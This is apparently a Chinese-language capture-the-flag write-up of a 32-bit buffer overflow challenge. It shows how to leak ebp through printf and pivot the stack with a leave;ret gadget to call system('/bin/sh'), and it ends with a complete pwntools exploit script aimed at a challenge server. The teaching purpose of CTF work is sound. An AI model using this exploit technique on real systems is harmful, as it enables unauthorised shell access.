首先checksec检查保护机制:
-32位程序
-开启了栈不可执行保护

接下使用IDA进行反汇编分析:
发现vul函数和hack函数,分别点进去查看具体代码

vul函数内部:
发现s到栈底的距离为0x28,但是下面read只读入了0x30个字节的数据,可以触发栈溢出,但是只能覆盖到ebp和ret,这里就得想到用栈迁移来做这道题了

hack函数内部:
这里这是输出了"flag"这4个字母,对破解程序无任何帮助

首先在IDA中拿到system函数的地址:0x08048400

再输入以下代码拿到leave_ret的地址:0x0x08048562
ROPgadget --binary pwn --only "leave|ret"

从上面可以看到s的宽度为40字节,可以将栈迁移到这里执行system函数,所以我们需要知道s的地址,这里我们可以通过s相对于ebp的偏移算出s的地址,但是我们得先拿到ebp的地址,printf有个bug可以让我们拿到ebp的地址,就是如果我们刚好输入了0x28个字节的数据,即将ebp前面的内容都覆盖上,在没遇到/0的情况下,printf会把ebp的地址打印出来,用这个方法拿到ebp的地址
接下来就是计算s的地址了,在pwndbg中进行调试,首先在第一个read输入aaaa然后CTRL+C退出程序,输入stack 30,查看栈内容,这里可以看到aaaa即s的内容存放在地址0xffffd0b0处,而ebp在0xffffd0e8处,相差0x38,所以s的地址为ebp - 0x38

这里先来看一下最终payload的构造:
第一行:先是4个'a'用于下面的leave_ret等下会解释,再是system的地址,然后是system函数的返回地址,可以是任意4字节的占位数据,之后是/bin/sh的地址,然后是/bin/sh,前面的/bin/sh地址就是对应这里的/bin/sh
第二行:将payload补齐到0x28字节,填满s的内存空间
第三行:先将ebp覆盖为s的地址,然后再将ret覆盖为leave_ret的地址
python
payload = b'aaaa' + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'i')
payload += p32(s_addr) + p32(leave_ret_addr)
io.sendline(payload)
leave_ret在汇编代码中是这几行代码的组合:
leave = mov esp ebp + pop ebp
ret = pop eip
leave先把ebp的内容(在上面已被覆盖为s_addr)放到esp(栈底)中,然后从栈底弹出一个值(4字节,因为这里是32位程序)放到ebp中,由于这里的esp最终被覆盖为s的地址所以s即为新的栈底,所以payload最开始的'aaaa'最终被放到了ebp中,接下来是ret,又从栈底再次取出一个值(即接下来的system函数地址)放到eip中执行。
再解释一下/bin/sh地址的计算,从payload可以看到在/bin/sh前面有4个4字节的数据,由于最前面就是s的地址(s_addr),则/bin/sh的地址为s_addr + 0x10即ebp - 0x28
下面是完整的exp脚本代码:
第一次read先利用printf打印出ebp的地址,第二次read再来使用栈迁移拿到shell
python
from pwn import *
context(arch='i386', os='linux', log_level='debug')
#io = process('./pwn') # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = connect('node5.buuoj.cn',28311) # 与在线环境交互。
system_addr = 0x08048400
leave_ret_addr = 0x08048562
io.recvuntil(b'Welcome, my friend. What\'s your name?\n')
payload = b'a'*0x27 + b'b'
io.send(payload)
io.recvuntil(b'b')
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr - 0x38
bin_sh_addr = ebp_addr - 0x28
print(hex(ebp_addr))
payload = b'aaaa' + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'i')
payload += p32(s_addr) + p32(leave_ret_addr)
io.sendline(payload)
io.interactive()
这是运行结果:
